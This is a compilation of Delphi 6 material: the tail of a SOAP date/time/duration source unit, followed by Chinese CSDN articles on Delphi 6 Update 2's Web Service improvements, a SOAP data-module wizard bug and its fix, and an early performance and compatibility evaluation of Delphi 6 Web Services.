    TimeString := Copy(Value, TimePosition + 1, Length(Value) - TimePosition);
    FDateParam.XSToNative(DateString);
    FTimeParam.XSToNative(TimeString);
  end else
    FDateParam.XSToNative(Value);
end;
function TXSDateTime.NativeToXS: WideString;
var
  TimeString: WideString;
begin
  TimeString := FTimeParam.NativeToXS;
  if TimeString <> '' then
    Result := FDateParam.NativeToXS + SoapTimePrefix + TimeString
  else
    Result := FDateParam.NativeToXS;
end;
function TXSDateTime.ValidValue(Value, Subtract, Min, Max: Integer; var Remainder: Integer): Integer;
begin
  Result := Value - Subtract;
  Remainder := 0;
  if Result < Min then
  begin
    Remainder := 1;
    Inc(Result,Max);
  end;
end;
function TXSDateTime.CompareDateTimeParam(const Value1, Value2: TXSDateTime): TXSDuration;
var
  Remainder, Milliseconds, Seconds: Integer;
begin
    Result := TXSDuration.Create;
    try
      MilliSeconds := ValidValue(Value1.Millisecond, Value2.Millisecond, 0, 1000, Remainder);
      Seconds := ValidValue(Value1.Second + Remainder, Value2.Second, 0, 60, Remainder);
      Result.DecimalSecond := Seconds + Milliseconds / 1000;
      Result.Minute := ValidValue(Value1.Minute + Remainder, Value2.Minute, 0, 60, Remainder);
      Result.Hour := ValidValue(Value1.Hour + Remainder, Value2.Hour, 0, 24, Remainder);
      Result.Day := ValidValue(Value1.Day + Remainder, Value2.Day, 0, 31, Remainder);
      Result.Month := ValidValue(Value1.Month + Remainder, Value2.Month, 0, 12, Remainder);
      Result.Year := ValidValue(Value1.Year + Remainder, Value2.Year, -9999, 0, Remainder);
    except
      Result.Free;
      Result := nil;
    end;
end;
{ TXSDuration }
constructor TXSDuration.Create;
begin
  inherited Create;
  FDateParam.MaxDay := 30;
  FDateParam.MinDay := 0;
  FDateParam.MaxMonth := 11;
  FDateParam.MinMonth := 0;
end;
procedure TXSDuration.SetDecimalSecond(const Value: Double);
begin
  if Value < 60 then
    FDecimalSecond := Value
  else
    SoapDateTimeErrorFmt(SInvalidFractionSecond, [Value]);
end;
function TXSDuration.GetNumericString(const AParam: string; const AType: string;
         const Decimals: Boolean = False): WideString;
var
  I, J: Integer;
begin
  I := Pos(AType, AParam);
  J := I;
  while (I > 0) and ((AParam[I-1] in ['0'..'9']) or
        (Decimals and (AParam[I-1] = '.'))) do
    Dec(I);
  if J > I then
    Result := Copy(AParam, I, J-I)
  else
    Result := '0';
end;
function TXSDuration.GetIntegerValue(const AParam: string; const AType: string): Integer;
begin
  Result := StrToInt(GetNumericString(AParam, AType));
end;
function TXSDuration.GetDecimalValue(const AParam: string; const AType: string): Double;
begin
  Result := StrToFloat(GetNumericString(AParam, AType, True));
end;
procedure TXSDuration.XSToNative(Value: WideString);
var
  DateString, TimeString: string;
  TimePosition: Integer;
begin
  if Value[1] <> XMLDurationStart then
    SoapDateTimeErrorFmt(SInvalidDuration, [Value]);
  TimePosition := Pos(SoapTimePrefix, Value);
  if TimePosition > 0 then
  begin
    TimeString := Copy(Value, TimePosition + 1, Length(Value) - TimePosition);
    DateString := Copy(Value, 1, TimePosition - 1);
  end else
    DateString := Value;
  Year := GetIntegerValue(DateString, XMLDurationYear);
  Month := GetIntegerValue(DateString, XMLDurationMonth);
  Day := GetIntegerValue(DateString, XMLDurationDay);
  if TimePosition > 0 then
  begin
    Hour := GetIntegerValue(TimeString, XMLDurationHour);
    Minute := GetIntegerValue(TimeString, XMLDurationMinute);
    DecimalSecond := GetDecimalValue(TimeString, XMLDurationSecond);
  end;
end;
{ format is 'P1Y2M3DT10H30M12.3S' }
function TXSDuration.NativeToXS: WideString;
begin
  Result := XMLDurationStart +
              IntToStr(Year) + XMLDurationYear +
              IntToStr(Month) + XMLDurationMonth +
              IntToStr(Day) + XMLDurationDay + SoapTimePrefix +
              IntToStr(Hour) + XMLDurationHour +
              IntToStr(Minute) + XMLDurationMinute +
              FloatToStr(DecimalSecond) + XMLDurationSecond;
end;
initialization
  RemClassRegistry.RegisterXSClass(TXSDateTime, XMLSchemaNameSpace, 'dateTime', '',True );
  RemClassRegistry.RegisterXSClass(TXSTime, XMLSchemaNameSpace, 'time', '', True );
  RemClassRegistry.RegisterXSClass(TXSDate, XMLSchemaNameSpace, 'date', '', True );
  RemClassRegistry.RegisterXSClass(TXSDuration, XMLSchemaNameSpace, 'duration', '', True );
finalization
  RemClassRegistry.UnRegisterXSClass(TXSDateTime);
  RemClassRegistry.UnRegisterXSClass(TXSTime);
  RemClassRegistry.UnRegisterXSClass(TXSDate);
  RemClassRegistry.UnRegisterXSClass(TXSDuration);
end.


CSDN_文档中心_Delphi 6 Update 2 的意义

DELPHI 6.02 抢先研究 -- BizSnap/SOAP/WebService 之四

-- 补丁2#的意义

Borland发布了C++ Builder 6以及Delphi 6的第二个补丁。这是一个对Delphi 6来说，非常重要的一个补丁，不但修正了Delphi 6中一些问题，还在很大程度上增强了Delphi 6的功能，特别是在SOAP/Web Service开发方面。

上图为新的新建Web Service页，与打补丁之前相比（见《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一 -- 一个 Hello world! 的例子》等）， 除了将图标全部换掉（现在与C++ Builder 6相同）以外，还增加了一项： SOAP Server Interface向导，这是一个新建SOAP服务端接口的向导，在前面的介绍中， 新建一个SOAP服务端接口需要写不少代码，有了这个向导就可以省很多事。

因为有了SOAP Server Interface向导，在新建一个Web Service应用时会自动询问是否产生一个服务端接口，如上图。除了是要用SOAP进行多层应用开发以外，都是要新建接口的。新建服务端接口的向导对话框如下图。

仿照《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一 -- 一个 Hello world! 的例子》的例子，新建一个SoapHello接口，在Service Name中输入SoapHello，确定后即可产生两个单元：SoapHelloIntf.pas和SoapHelloImpl.pas，分别为此接口的接口定义和接口实现单元。
以下为SoapHelloIntf.pas单元的内容：

{ Invokable interface ISoapHello }

unit SoapHelloIntf;

interface

uses InvokeRegistry, Types, XSBuiltIns;

type

  { Invokable interfaces must derive from IInvokable }
  ISoapHello = interface(IInvokable)
  ['{3A9E6BD6-F128-40AD-B9F1-FB254C463CCC}']

    { Methods of Invokable interface must not use the default }
    { calling convention; stdcall is recommended }
  end;

implementation

initialization
  { Invokable interfaces must be registered }
  InvRegistry.RegisterInterface(TypeInfo(ISoapHello));

end.

以下为SoapHelloImpl.pas单元的内容：

{ Invokable implementation File for TSoapHello which implements ISoapHello }

unit SoapHelloImpl;

interface

uses InvokeRegistry, Types, XSBuiltIns, SoapHelloIntf;

type

  { TSoapHello }
  TSoapHello = class(TInvokableClass, ISoapHello)
  public
  end;

implementation

initialization
  { Invokable classes must be registered }
  InvRegistry.RegisterInvokableClass(TSoapHello);

end.

然后，只需要在这两个单元中加入所需的接口方法的定义和实现，即可完成一个服务端接口，较原来方便很多。 这还只是表面的变化，在本章第一个例子中，如果输入 http://localhost/soap/soaptest.dll 是看不到什么东西的，必须输入 http://localhost/soap/soaptest.dll/wsdl 才能看到所有接口的WSDL列表。但是在打了Delphi 6补丁2后重新编译此例子程序，可以看到 http://localhost/soap/soaptest.dll 显示一个漂亮的页面，与用Visual Studio.net进行SOAP开发类似。而 http://localhost/soap/soaptest.dll/wsdl 页面也与原来的不同。然而这还不是最主要的改变，看看 http://localhost/soap/soaptest.dll/wsdl/IsoapHello 页面，与前面的WSDL相比之下有了一些小小的改变，而这才是最重要的，这一改进终于让用Delphi 6开发的Web Service应用程序可以被Visual Studio.net开发的客户端程序调用了！下面就是新的WSDL文件：

<?xml version="1.0"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:xs="http://www.w3.org/2001/XMLSchema" name="IHelloservice"
targetNamespace="http://tempuri.org/" xmlns:tns="http://tempuri.org/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
  <message name="GetHelloRequest">
    <part name="aID" type="xs:int"/>
  </message>
  <message name="GetHelloResponse">
    <part name="return" type="xs:string"/>
  </message>
  <portType name="ISoapHello">
    <operation name="GetHello">
      <input message="tns:GetHelloRequest"/>
      <output message="tns:GetHelloResponse"/>
    </operation>
  </portType>
  <binding name="IHellobinding" type="tns:IHello">
    <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="GetHello">
      <soap:operation soapAction="urn:HelloIntf-IHello#GetHello" style="rpc"/>
      <input>
        <soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="urn:HelloIntf-IHello"/>
      </input>
      <output>
        <soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="urn:HelloIntf-IHello"/>
      </output>
    </operation>
  </binding>
  <service name="IHelloservice">
    <port name="IHelloPort" binding="tns:IHellobinding">
      <soap:address location="http://localhost:1024/WSDemo1.WSDemo1/soap/IHello"/>
    </port>
  </service>
</definitions>

新的WSDL Importer也有很大的变化。上图显示了新的WSDL Importer向导，较原来的（如《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一 -- 一个 Hello world! 的例子》）要漂亮很多，当然这也还只是表面，单击"下一步"，如果成功导入接口，即可立即看到生成的接口文件内容，如下图按"完成"就可以生成接口文件（注意：因为生成的接口文件名默认为接口名，但Delphi有一个限制就是单元名不可以与对象重名，所以必须改名后才能保存）。

当然，WSDL Importer的改进也不只是这些表面的东西，最重要的改进也是它已经可以方便地导入用Visual Studio.net写的Web Service程序产生的WSDL，并可以顺利访问其接口。
最后值得一提的是： C++ Builder 6 的 SOAP 部分与 Delphi 6 的补丁2#相同，如果在未打补丁2#的 Delphi 6 的同一台机器上装 C++ Builder 6 将导致 Delphi 6 的 SOAP 部分不可用，解决办法就是打 Delphi 6 的补丁2#。

[Mental Studio]猛禽 Mar.20-02


CSDN_文档中心_DELPHI 6 Update 2# 的 Bug 及其解决方法

DELPHI 6 Update 2# 的 Bug 及其解决方法

Borland发布了对 Delphi 6 意义重大的第二个补丁，在SOAP/Web Service开发方面有了很大的增强，详见《DELPHI 6.02 抢先研究 -- BizSnap/SOAP/WebService 之四 -- 补丁2#的意义》。不过有一个方面我在那篇文章里没有说到，那就是用 SOAP 进行多层应用开发，当时我对这部分只是大致看了一下，没发现与补丁前相比有什么太多的不同，所以也没在意，直到不久前，一位叫 liaoqian 的网友给我发来 Mail 询问有关这方面的问题时，我才注意到 Delphi 6 Update 2# 在这部分有相当大的变化（当然不是表面上的），并且存在一个小 Bug 。

首先仿照《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之三 -- 用 SOAP 实现三层数据库应用》 中的例子做一个 WebService 三层数据应用。当出现上图所示的自动询问是否产生一个服务端接口的对话框时选择“No”，然后新建 SOAP Server Data Module ，其它操作与《之三》相同。完成之后在IE中输入：http://localhost:1024/Demo3.wadSoapDemo3/wsdl 将可以看到如下的接口列表，相比《之三》一文，可以看出增加了一个 IAppServerSOAP 接口，并且其 IWSDLPublish 接口的 Namespace URI 也有不同。

Port Type | Namespace URI | Documentation | WSDL
IAppServer | urn:Midas-IAppServer |  | IAppServer
IAppServerSOAP | http://www.borland.com/namespaces/Types |  | IAppServerSOAP
ISoapDemo3DM | urn:SvrDMSoap-ISoapDemo3DM |  | ISoapDemo3DM
IWSDLPublish | http://www.borland.com/namespaces/Types | Lists all the PortTypes published by this Service | IWSDLPublish

如果注意的话还可以发现一点问题，即：输入 http://localhost:1024/Demo3.wadSoapDemo3 不会看到 Delphi 6.02 写的一般 WebService 那样的一个页面，这有点不正常。
到编写客户端程序的时候，问题就出现了：在 ClientDataSet 的 ProviderName 属性中下拉，将不会看到任何可用的 ProviderName ，但一闪而逝的服务端窗体表明服务端是运行了的。通过察看 Web App Debugger 的记录信息可以看到如下的 SOAP 错误响应：

<?xml version="1.0" encoding='UTF-8'?>
<soap-env:envelope xmlns:soap-env="http://schemas.xmlsoap.org/soap/envelope/" >
 <soap-env:body>
  <soap-env:fault>
   <faultcode>SOAP-ENV:Server</faultcode>
   <faultstring>
No invokable class registered that implements interface
SOAPMidas.IAppServerSOAP of (soap action/path)
"http://www.borland.com/namespaces/Types-IAppServerSOAP"
   </faultstring>
  </soap-env:fault>
 </soap-env:body>
</soap-env:envelope>

注意其中 faultstring 标记中的信息，它说明了错误的原因是“没有可调用的已注册的 IAppServerSOAP 接口实现类”。如果不理睬这个问题，直接把 DataSetProvider1 写到 ClientDataSet1 的 ProviderName 属性中，再将 ClientDataSet1 的 Active 属性设置为 true 将直接出现一个异常，其内容便是上面的 faultstring 的内容。
我非常喜欢包括 Delphi 在内的 Borland 的几乎所有产品，也非常信任 Borland ，这种感情来源于我七八年来使用过的数十个不同的 Borland 的产品及其不同版本，所以我不喜欢一些人在一碰到问题时就没理由地埋怨开发工具有 Bug 。虽然有很多传闻说 Borland 的产品 Bug 如何的多，其实有软件就有 Bug ，我也不是说 Borland 就一定没有 Bug ， Borland 当然也有 Bug ，在本站就曾几次提到，难道 Microsoft 就没有 Bug 吗？
但这一次，我几乎可以肯定是 Delphi 6 Update 2 所带来的 Bug ，因为在打补丁2#之前，我也是完全按照上面的做法一步步做的，没有任何问题，打了补丁2#就出现了这样的问题。即便如此，我还是要找到具体的证据来证明这是一个 Bug 并要找到解决的办法，所以我读了 Delphi 6.02 的部分 SOAP 相关源代码，并进行了调试。

附：《设置源码察看和调试》
SOAP 部分源码察看设置：在 Delphi 6 中选择 Tools|Environment Options 选中 Library 页，在 Browsing path 中加入路径：$(DELPHI)\source\Soap ，然后就可以在程序中通过 Ctrl+MouseLeftButton 快速跳到相应的 SOAP 源码文件中了。
源码调试设置：在 Delph 6 中选择 Project|Options 选中 Compiler 页，将其中 Debugging 框中的 Use Debug DCUs 一项选取后，重新编译程序，即可调试进入 VCL 的源码中了。

通过跟踪调试发现异常发生在 SOAPHTTPPasInv 单元中的 Procedure THTTPSoapPascalInvoker.DispatchSOAP 中：

      ...
      if IntfInfo = nil then
        raise Exception.CreateFmt(SInvInterfaceNotReg, [SoapAction])
      else if InvClassType = nil then
        RaiseNoIntfException(SoapAction)
      ...

因为其中 InvClassType 为 Nil ，所以导致了那个异常。这提供的信息和前面的出错信息其实是一样的：即 IAppServerSOAP 接口的实现类不存在或未注册。所以我又找到了 IAppServerSOAP 接口的定义，在 SOAPMidas 单元中：

  IAppServerSOAP = interface(IInvokable)
    ['{C99F4735-D6D2-495C-8CA2-E53E5A439E61}']
    function  SAS_ApplyUpdates(...): OleVariant; stdcall;
    function  SAS_GetRecords(...): OleVariant; stdcall;
    function  SAS_DataRequest(...): OleVariant; stdcall;
    function  SAS_GetProviderNames: TWideStringDynArray; stdcall;
    function  SAS_GetParams(...): OleVariant; stdcall;
    function  SAS_RowRequest(...): OleVariant; stdcall;
    procedure SAS_Execute(...); stdcall;
  end;

熟悉 MIDAS 技术的人看了这段代码，立即可以发现它与 IAppServer 接口极其相似，只是在 IAppServer 中，那些方法都是以 AS_ 开头，而这里是以 SAS_ 开头。那么为什么既然已经有了一个 IAppServer 接口了， Borland 还要在 Update 2 加入这么一个 IAppServerSOAP 接口呢？在打补丁2之前，我也看过 SOAP 的部分代码，那时的 SOAP Server Data Module 是从 IAppServer 派生的，虽然 IAppServer 并不是从 IInvokable 派生的（按 Delphi 6 的要求，所有 SOAP 接口都要从 IInvokable 接口派生），但其实 IInvokable 是直接从 IInterface 派生的，与 IInterface 完全相同，而 IInterface 其实就是所有 COM 接口的祖先接口--IUnknown，而 IAppServer 是从 IDispatch 接口（是 COM 的一个主要接口，用于 Automation ，其祖先当然也是 IUnknown）派生出来的，所以直接用 IAppServer 也并无不可。
在 IAppServerSOAP 接口定义前面有一段注释，大意就是说： IAppServerSOAP 用 StdCall 类型的方法调用替代了 IAppServer 中的 SafeCall 类型的方法调用，为的是在不支持 SafeCall 的环境中也可以实现 IAppServer 的功能。这就是 IAppServerSOAP 出现的原因。
了解了这些就好多了。所有的 SOAP Server Data Module 都是从 TSoapDataModule 派生的，它定义在 SOAPDm 单元中，其中有如下代码：

    { IAppServerSOAP }
    function  SAS_ApplyUpdates(...): OleVariant; virtual; stdcall;
    function  SAS_GetRecords(...): OleVariant; virtual; stdcall;
    function  SAS_DataRequest(...): OleVariant; virtual; stdcall;
    function  SAS_GetProviderNames: TWideStringDynArray; virtual; stdcall;
    function  SAS_GetParams(...): OleVariant; virtual; stdcall;
    function  SAS_RowRequest(...): OleVariant; virtual; stdcall;
    procedure SAS_Execute(...); virtual; stdcall;

这里就是 IAppServerSOAP 接口的实现，由于所有的 SOAP Server Data Module 都是从 TSoapDataModule 派生的，所以 IAppServerSOAP 接口的实现类一定是已经实现的，但有没有注册呢？在我们的 SOAP Server Data Module 单元--SvrDMSoap 中有如下代码：

procedure TSoapDemo3DMCreateInstance(out obj: TObject);
begin
 obj := TSoapDemo3DM.Create(nil);
end;

initialization
   InvRegistry.RegisterInvokableClass(TSoapDemo3DM, TSoapDemo3DMCreateInstance);

显然它也已经注册了，但为什么会出错呢？看看 ISoapDemo3DM 接口的 WSDL 吧……怎么只有 AS_XXX ？没有 SAS_XXX ？原来如此，服务端只导出了 IAppServer 接口，并没有导出 IAppServerSOAP 接口。这就是问题所在！
再来看看 SvrDMSoap 单元：

  ISoapDemo3DM = interface(IAppServer)
    ['{4F618288-9F81-4090-81EF-4ACE0BF6D0BE}']
  end;

  TSoapDemo3DM = class(TSoapDataModule, ISoapDemo3DM, IAppServer)

原来如此，原来 ISoapDemo3DM 居然还是从 IAppServer 接口派生的，显然这是 SOAP Server Data Module Wizard 的一个 Bug ，它还是按 IAppServer 接口的方法来生成 SOAP Server Data Module 的。知道问题的所在就好办了，将上面的代码中的两个 IAppServer 都改为 IAppServerSOAP ，然后重新编译。再来看看客户端程序，一切正常了， ISoapDemo3DM 的 WSDL 也正确地导出了 SAS_XXX ，特别是 hhttp://localhost:1024/Demo3.wadSoapDemo3 也可以看到标准的 Delphi 6.02 的 WebService 页面了。
至此，这个 Bug 已经完全解决。另外，要补充说明的是：在 C++ Builder 6 中不存在这个问题。

[Mental Studio]猛禽 Apr.23-02


CSDN_文档中心_Delphi 6 Web Services初步评估

Delphi 6 Web Services初步评估

这是我刚到现在公司的时候（2001年8月份）所作的一份测试报告，现公布出来，希望能对大家有所帮助。因为当时d6刚刚发行，Web Service方面还存在一些问题，当前的update 1 for D6已经发布，主要就针对Web Service做了大量的修改，已经能与MS相关的Web Service兼容了。可能下面文章内提到的部分内容在Update1有所变动，在此说明！

2000年6月22日，整个IT行业期盼着一个令人向往的新时代，因为今天美国微软公司正式对外宣布了.Net战略，并且确定每年为这个新的战略投入40亿美元的研发费用。.Net的思想彻底地把计算模式从单机、客户机/服务器和Web网站的方式转向分布式计算(Distributed Computing)。虽然DCOM和Corba是当今比较流行的分布式对象模型，然而它们都存在着仅能用于本地网络这个局限性，很难突破防火墙的限制，因此不能把整个互联网作为一个计算资源体系加以利用。.Net则通过一种称为Web Services的技术把分布在互联网上的各种资源有效的通过编程手段整合在特定的应用界面里。

作为.Net的核心概念，Web Services是目前炙手可热的技术，各大厂商，如Microsoft、IBM、SUN等莫不投入大量的资源以求站在领导地位。Borland公司于2001年6月份发布的最新的RAD工具Delphi 6.0，并且把支持Web Service开发作为最大的卖点。近日，我对Delphi6创建Web Services程序进行了初步的测试和评估。

一、 Web Service概述：

Web Services就相当于过去我们编程中常常调用的API函数和在面向对象编程中调用

的接口，只不过API存在于本机上，接口通常存在于本机或者本地局域网内，而Web Services则将无所不在地分布在整个互联网络上。

Web Services可以真正的实现跨平台远程过程调用RPC（Remote Process Call），无论采用何种操作系统，无论采用何种构架的硬件，无论采用什么语言调用，都能够处理它的的调用请求。因为Web Services是由SOAP（Simple Object Access Protocol）作为封装协议，HTTP（Hypertext Transfer Protocol）作为通讯协议组成，并且通过WSDL（Web Services Discription Language）描述服务接口等信息。

SOAP，定义了客户端调用服务器端接口方法的一种机制。由于SOAP是基于扩展标记语言XML（Extensible Markup Language）标准文档方式，因此它可以轻松的实现跨平台，它使用XML定义了一套编码规则，用于网络上传输调用请求信息以及回应信息。

HTTP，作为WWW（World Wide Web）所使用的通讯协议，因为防火墙对各个端口进行监控，而HTTP使用的80端口用于Internet访问，通常防火墙不会限制此端口通信，所以一般可以通过防火墙，与连接在互联网上的机器通信。

WSDL，用于描述当前Web Service的各种信息，以便与客户端通过WSDL来取得调用接口的信息。

二、 评估测试过程：

整个评测的目标是验证Delphi 6对建立Web Services工程的支持程度，Web

Services的工作效率，以及与其它厂商Web Services的整合兼容性。

★ 测试环境：

CPU：PIII 550

内存： 256MB

OS: Windows2000 Server + SP2

Web Server：IIS 5.0 + SP3

开发环境：Borland Delphi 6.0 Enterprise

Microsoft Visual Studio 7.0 Beta 2

Microsoft SOAP TOOLKIT 2.0

★ 基本测试过程：

Web Services通过接口方法调用返回值来获取调用结果，因此测试程序通过调用不同类型返回值的接口方法来作为测试方向，分为以下四种：字符串类型返回值，对象类型返回值，对象数组类型返回值和二进制文件返回值。

1、 TEST1(字符串类型返回值方法调用)：

首先采用Delphi 6创建一个Web Services工程，Delphi 6通过向导自动生成一个单元，此单元包括了Web Services通讯所需要的各个控件：THTTPSoapDispatcher用于响应基于SOAP的请求，并转交给其它的处理控件；HTTPSoapPascalInvoker用于从THTTPSoapDispatcher接收SOAP消息，并进行分析调用合适的接口方法，最后对接口调用返回结果进行封装(Encode)；TWSDLHTMLPublish则是用于公布描述此Web Service接口的WSDL文档。

要为Web Service服务提供接口方法，需要建立一个从IInvokable继承的接口，以及从TInvokable继承的实现此接口的对象。

下面，我们就可以为这个Web Service添加方法了。在这第一个评估测试中，我们需要添加一个字符串类型作为返回值的方法，而且为了尽量准确的测试响应效率，我们希望能传输比较大数据量的字符串。因此创建了一个1024个‘Hello, The World!’组合的字符串作为方法的返回值。

调用结果如图一所示：

（图一）

客户端的调用，顺利取得了服务器端的字符串并显示出来。毕竟服务器对返回值的编码也是文本类型，所以说码耗费的时间并不多，因此整个请求的效率还是可以让人满意的。

当然，正是因为Web Services是基于SOAP的，传递文本自然是“拿手好戏”，但在 我们实际应用中，需要的结果通常来说不是字符串文本，而是别的信息，为了继续

证明Web Services将会带给我们的惊喜，我进行了下一个测试。

2、 TEST2(对象类型返回值方法调用)：

在实际应用中我们常常会遇到客户端需要的是从服务器端返回数据库查询结果，在这种情况下，返回的数据可能是各种类型数据的组合，这个测试将会告诉我们如何通过Web Services传递复杂类型资料信息。

传递的复杂类型资料信息可以通过对象进行封装，便于创建于使用中的管理，更重要的是因为Delphi“强迫”我们不得不这样做。在Delphi 6中，如果接口返回值为对象，则此对象必须是从Tremotable类继承下来，并且对客户端能访问的成员变量必须作为属性公布。

针对测试，我创建了一个从Tremotable继承的类TXSPerson，并且公布了六个属性：ID、Name、Age、Gender、Content、Email。因此我可以在客户端通过方法访问这个类实例的这六个成员变量的值。在服务器端，我分别对这六个值进行了赋值，并把类作为方法的返回值。客户端的调用此方法得到TXSPerson类型的对象实例，从而访问它的个属性值。

调用结果如图二所示：

（图二）

从上面的结果可以看出，传输对象的效率就没有传输字符串高了。首先一点，在服务器端程序和客户端程序都必须管理一个类，相对于传递字符串多了这些类的管理开销，自然影响了效率。

从这个测试中，我们可以传递复杂类型的资料了，对于绝大多数的实际应用来说，每次传递已比资料是不够的，我们可能需要的是大量的数据库记录传递。在Web Services中，可以通过使用动态数组来实现，正如下一个测试。

3、 TEST3(对象数组类型返回值方法调用)：

当服务器端的一大笔数据库记录需要传递给客户端，每一条记录作为一个对象实例保存，所有的记录用一个对象数组保存，并且以对象数组作为返回值传递到客户端。在这个测试中，我采用了与数据库结合的方式进行测试，以便于去更真实的模拟实际的应用。数据库我采用了Access2000，通过ADO（Microsoft ActiveX Data Objects）进行连接访问，并创建一个动态数组保存查询的各个字段的结果，作为返回值返回到客户端。

调用结果如图三所示：

（图三）

可以看出来，调用仍然非常顺利，客户端获得了期望的资料纪录。但是相对于传输一条记录来说，效率再一次的降低了。应该说来是因为动态数组的原因导致了效率的降低，动态数组是Delphi的一个特征，在C/C++中是没有动态数组的，所以C/C++中数组的内存都是在编译期间分配的。而Delphi中引入了动态数组，这使得只能在运行期间动态的分配内存，从而导致了对动态数组管理所引起的开销，影响效率。

在实际应用中，有时候我们需要传递文件，例如说数据库里面的图片，通过Web Services应该怎么实现呢？作为一种简单的解决办法，我们再一次求助于动态数组。

4、 TEST4(二进制文件返回值方法调用)：

在最后一个返回值类型测试中，为了测试Web Services对文件的传输能力，我通过方法结果传递一个JPEG的图片。要使客户端能接收到服务器端的图片，必须采用某种标准返回值类型来组织图片的内容，在测试中使用了动态数组TbyteDnyArray作为返回类型。

服务器端通过TfileStream读取出图片文件的内容，并拷贝到TbyteDnyArray数组中，客户端接收到TbyteDnyArray类型的数组后使用TmemoryStream写回到文件中去，从而完成了文件的传输过程。

调用结果如图四所示：

（图四）

功能的确实现了，但是测试的结果却让人大吃一惊，虽然也猜想到，采用如此“巨大”的动态数组会对效率产生比较大的影响，事实也的的确确也证明了，这种方式实现文件传输的方法是不可行的。

毫无疑问，如此低下的效率正是因为动态数组的开销所导致，对于15KB的图片来说，动态数组将为它的每一个字节生成一个元素，系统的内存管理终究也显得如此“捉襟见肘”。

虽然采用这种方法传递文件我们“失败”了，但是并不是说明没有高效率的传递文件的办法。作为二进制的文件，如果要作为Web Services的返回结果传递在网络上，就必须把二进制文件存放在SOAP信息中，SOAP却是文本文件，所以对于二进制文件作为文本文件再网上传输，完全可以采用已经成熟的协议了，最常用的莫过于MIME（Multipurpose Internet Mail Extension protocol）了。通过Base64编码或其他方式对图片进行编码以后，传递到客户端以后，在进行Base64的解码，效率将会数十倍的提高。但是因为Delphi 6虽然提供了Base64编码解码，但是因为一些不完善的原因使我放弃了对这个方法的测试。

★ 测试总体印象：

在整个测试中，对Delphi 6创建的Web Services有以下几个印象：

1、 客户端应用程序连接服务器端Web Service的时候，第一次调用很慢，而以后的调用明显加快。

图五显示了调用各个接口第一次和第二次的传输速率（每秒钟传输千字节数KB/S）。

由此可以看出，第一次的方法调用非常耗时，可能达到第二次调用的8倍，因此可以确定，第一次调用接口的时候，大量的操作事件耗费在连接的建立上面。一旦连接建立，以后的调用速度会大大加快。

（图五）

从图五中，也能明显的看到各种不同返回类型测试的效率高低。

2、 抛开第一次方法调用耗时以外，某些方法每次调用测试数据传输速率不稳定。例如测试TEST1和TEST2中，基本上速率为850KB/S或者1134KB/S，而TEST3的传输速率变化则非常广，从401KB/S到530KB/S都随机出现，而TEST4的测试因为速率太小，可能导致比较大的误差，在此不做考虑。

TEST1、TEST2相对测试比较稳定，是因为服务器端是直接返回了所需要的值，速率的变化仅仅来至于传输过程。而TEST3中必须从数据库中读出数据，并且创建了动态数组来传递资料，因此出现速率影响因素较多，导致传输速率变化比较大。

★ Web Services兼容性问题测试：

正是由于Web Services的火热，导致各家大厂商闻风而动，并且推出自己相关的概念，建立自己的方案。例如SUN公司推出ONE (Open Net Environment)的概念对抗微软，Oracle公司则以Dynamic Web Service的概念表示与微软抗衡。

SOAP的规格在不断的发展，从0.9、1.0到现在的1.1。但是，目前市面上提供SOAP功能的软件并不一定都符合最新的SOAP规范，即使是支持相同SOAP版本规格的软件，对于如何实现可能都有一些差异。但是，可能正是由于这一些细微的差异可能造成软件开发人员的困扰，更何况Web Services是以SOAP为基础的沟通技术。因此，如果不同SOAP软件接口对于SOAP规格的实现有所不同，将会造成客户端应用程序无法和Web Service沟通，或是在Web Service和Web Service之间无法使用彼此提供的服务。这样将会失去SOAP和Web Services技术的精髓。

下面的测试采用了当前最流行的两个平台进行兼容性测试，Microsoft Visual Studio 7 Beta 2版本，和刚刚发行的Delphi 6 Enterprise。

在前面的测试中，我采用Delphi 6创建Web Services，并用Delphi 6开发客户端进行连接，整个过程非常完美。然而现在，我们的测试一下是否当前最火的两个开发工具能“和平共处”呢？

首先，我在VS7环境下面，使用C#创建了一个Web Services，提供一个方法AddXY( int x, int y);然而当我在Delphi中调用的时候，很让人失望，出现了如图六的调用错误：

（图六）

看来，VS7和Delphi6还不能很好的合作到一起。当使用MST2（Microsoft Soap Toolkit 2.0）带的追踪工具Trace Utility拦截HTTP信息，察看传递的SOAP信息。发现VS7开发的Web Services的SOAP和Delphi6开发的Web Services的SOAP有一些不一样。正是因为这些格式的不一样，导致了它们之间沟通的失败。

而且不但SOAP格式不太一样，连WSDL的格式都大相径庭，以至于Delphi 6导入刚才我们在VS7下写的方法public int AddXY(int x, int y)以后，生成的接口声明如下：procedure AddXY(var parameters: AddXY); stdcall;因此产生了很让Delphi自己“尴尬”的事情，这是一个procedure而不是function，调用这个方法没有返回值，也就是得不到方法调用的结果，虽然生成的接口方法中参数parameters为AddXY类，并且是一个var类型的参数，可惜，很遗憾，客户端所需要的结果并没有包含在AddXY类中。而Delphi为这个方法声明了一个结果类AddXYResponse，可是我们却无法通过调用方法得到这个对象实例。通过进一步对接口描述文件WSDL的分析，发现Delphi 6对WSDL文件的解释存在某些BUG，导致了生成接口声明出现错误的问题。

总的来说，当前Microsoft和Borland之间的Web Services方案看来还是存在着很大的不同点。但是这并不是说我们就不能在delphi下面调用VS7创建的Web Services方法。我们还是可以通过MST2提供的COM接口进行访问。通过我的测试，这种方法没有问题，能够顺利的调用VS7的Web Services的各个方法，毕竟MST2和VS7 Beta2都是微软的产品。

当然，它们之间的不兼容，让我们很伤脑筋，作为当前的两大主流开发环境，竟然不能让我们体验到Web Services跨平台、跨语言的优越性，实在让人有些失望。

毕竟SOAP和Web Services标准以及技术仍然处于快速的发展之中，因此目前各家实现的细节可能会稍有不同，也许等到SOAP功能规格成熟之后，就不会再有这些恼人的细节问题。据资料介绍，Delphi 6的Web Services是能够顺利的整合到许多由Java实现的Web Services或是Java客户端应用程序，看来，Borland Delphi 6的Web Services实现还是偏向于IBM的阵营！

